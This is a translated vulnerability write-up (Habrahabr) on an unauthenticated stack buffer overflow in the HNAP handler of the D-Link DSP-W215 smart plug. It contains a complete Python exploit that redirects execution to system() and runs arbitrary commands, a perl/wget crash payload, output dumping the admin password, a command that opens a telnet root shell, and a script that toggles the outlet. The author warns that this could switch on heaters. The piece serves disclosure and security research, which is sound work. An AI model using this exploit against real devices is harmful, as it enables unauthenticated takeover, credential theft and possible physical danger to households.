[Перевод] Взламываем D-Link DSP-W215 Smart Plug

imageD-Link DSP-W215 Smart Plug — беспроводное устройство для мониторинга и контроля за электрическими розетками. Его пока нельзя купить в магазинах Amazon или Best Buy, но прошивка уже доступна для скачивания на сайте D-Link.TL; DR: DSP-W215 содержит ошибку переполнения буфера, которая позволяет неаутентифицированному пользователю полностью управлять устройством, в том числе и самой розеткой.

Прошивка устройства совершенно стандартная для встраиваемых систем на Linux: image

После распаковки прошивки я обнаружил, что у этого устройства нет привычного веб-интерфейса — его можно настроить только через специальное приложение для iOS и Android. И, похоже, это приложение использует протокол Home Network Administration Protocol для коммуникации со Smart Plug.

Т.к. HNAP основан на протоколе SOAP, его обработкой занимается сервер lighttpd, а по отрывку его конфигурационного файла легко понять, что обработкой HNAP-запросов занимается CGI-приложение /www/my_cgi.cgi:

… alias.url += (»/HNAP1/» => »/www/my_cgi.cgi», »/HNAP1» => »/www/my_cgi.cgi», … Хоть HNAP и требует аутентификацию, некоторые действия, а именно GetDeviceSettings, ее не требуют.image

GetDeviceSettings может только отдавать список возможных действий и ничего не может делать сам по себе, но это значит, что my_cgi.cgi парсит запрос до проверки аутентификации.

Обрабатыванием HNAP-запросов занимается функция do_hnap в my_cgi.cgi. Т.к. HNAP-действия посылаются как HTTP POST-запросы, функция do_hnap первым делом обрабатывает заголовок Content-Length: image

А потом, как ни в чем не бывало, читает тело запроса в буфер фиксированного размера на стеке: image

int content_length, i; char *content_length_str; char post_data_buf[500000]; content_length = 0; content_length_str = getenv («CONTENT_LENGTH»); if (content_length_str) { content_length = strtol (content_length_str, 10); } memset (post_data_buf, 0, 500000); for (i=0; i

# Overflow $ra with 0×41414141 perl -e 'print «D«x1000020; print «A«x4' > overflow.txt wget --post-file=overflow.txt http://192.168.0.60/HNAP1/ imageА вот самое веселое то, что обработчик запроса читает тело POST-запроса в буфер в цикле с использованием fgetc, поэтому не существует «плохих» байтов — мы можем передавать ему любые байты, даже NULL-байт. Это здорово, т.к. по адресу 0×00405CAC в my_cgi.cgi имеется код, который загружает $a0 (регистр первого аргумента функции) с указателем на стек ($sp+0×28) и вызывает system (): image

Так что нам просто нужно перезаписать адрес возврата на 0×00405CAC и положить команду, которую нам нужно выполнить, на стек по смещению 0×28:

import sys import urllib2 command = sys.argv[1] buf = «D» * 1000020 # Fill up the stack buffer buf += »\x00\x40\x5C\xAC» # Overwrite the return address on the stack buf += «E» * 0×28 # Stack filler buf += command # Command to execute buf += »\x00» # NULL terminate the command string req = urllib2.Request («http://192.168.0.60/HNAP1/», buf) print urllib2.urlopen (req).read () Даже лучше, чем можно было бы ожидать — stdout запускаемой команды возвращается в ответ:

eve@eve:~$ ./exploit.py 'ls -l /' drwxr-xr-x 2 1000 1000 4096 Jan 14 14:16 bin drwxrwxr-x 3 1000 1000 4096 May 9 16:04 dev drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc drwxrwxr-x 3 1000 1000 4096 Jan 14 14:16 lib drwxr-xr-x 3 1000 1000 4096 Jan 14 14:16 libexec lrwxrwxrwx 1 1000 1000 11 May 9 16:01 linuxrc → bin/busybox drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found drwxrwxr-x 7 1000 1000 4096 May 9 15:44 mnt drwxr-xr-x 2 1000 1000 4096 Jan 14 14:16 mydlink drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc drwxrwxr-x 2 1000 1000 4096 May 9 17:49 root drwxr-xr-x 2 1000 1000 4096 Jan 14 14:16 sbin drwxrwxr-x 3 1000 1000 4096 May 15 04:27 tmp drwxrwxr-x 7 1000 1000 4096 Jan 14 14:16 usr drwxrwxr-x 3 1000 1000 4096 May 9 16:04 var -rw-r--r-- 1 1000 1000 17 Jan 14 14:16 version drwxrwxr-x 8 1000 1000 4096 May 9 16:52 www Можно сдампить конфигурацию и пароль администратора:

eve@eve:~$ ./exploit.py 'nvram show' | grep admin admin_user_pwd=200416 admin_user_tbl=0/admin_user_name/admin_user_pwd/admin_level admin_level=1 admin_user_name=admin storage_user_00=0/admin// Или запустить telnetd и получить полноценный shell.

eve@eve:~$ ./exploit.py 'busybox telnetd -l /bin/sh' eve@eve:~$ telnet 192.168.0.60 Trying 192.168.0.60… Connected to 192.168.0.60. Escape character is '^]'. BusyBox v1.01 (2014.01.14–12:12+0000) Built-in shell (ash) Enter 'help' for a list of built-in commands. / # После копания в my_cgi.cgi чуть глубже, я обнаружил, что все, что требуется для выключения или включения розетки — выполнить /var/sbin/relay:

/var/sbin/relay 1 # Turns outlet on /var/sbin/relay 0 # Turns outlet off Можно написать небольшой скрипт, чтобы поморгать светом:

#!/bin/sh OOK=1 while [ 1 ] do /var/bin/relay $OOK if [ $OOK -eq 1 ] then OOK=0 else OOK=1 fi done Управление розеткой может нести и более серьезные последствия, как заявлено в рекламе D-Link: imageОбманчивая реклама от D-Link

Хоть сам Smart Plug, может быть, сможет определить перегрев, я подозреваю, что он определяет перегрев только себя самого, т.к. не существует способа определить температуру устройства, подключенного к розетке. Поэтому, если вы оставили обогреватель подключенным к smart plug, и какой-то подлый человек тайком включит его, у вас будет хреновый день.

Непонятно, пытается ли Smart Plug сделать себя доступным извне (например, пробросив порт через UPnP), или нет, т.к. приложение для Android просто-напросто не работает. У меня не получилось установить даже первоначальное подключение к Smart Plug через Android, хотя через лаптоп получилось. Однако, в конце-концов, у меня вылезла очень подробная ошибка при создании аккаунта для удаленного доступа в MyDlink: «Невозможно создать аккаунт». Хоть в конце настройки и говорилось, что Smart Plug настроен на подключение к моей беспроводной сети, ни к какой сети он не подключился, и точка доступа, которая использовалась для первоначальной конфигурации, пропала. Т.к. Wi-Fi сломан, а ethernet отсутствует, я полностью потерял связь с устройством. Ах да, кнопки hard reset на устройстве тоже нет. Ну и ладно, все равно я ее выкидывать собирался.

Я подозреваю, что все, кто купил это устройство, не смогли заставить его работать, что, наверное, хорошо само по себе. В любом случае, я бы побоялся подключать такое устройство к своей сети или своим бытовым приборам.

Между прочим, роутер D-Link DIR-505L тоже подвержен этому багу, т.к. имеет практически точную копию my_cgi.cgi.

PoC для обоих устройств находится здесь.

© Habrahabr.ru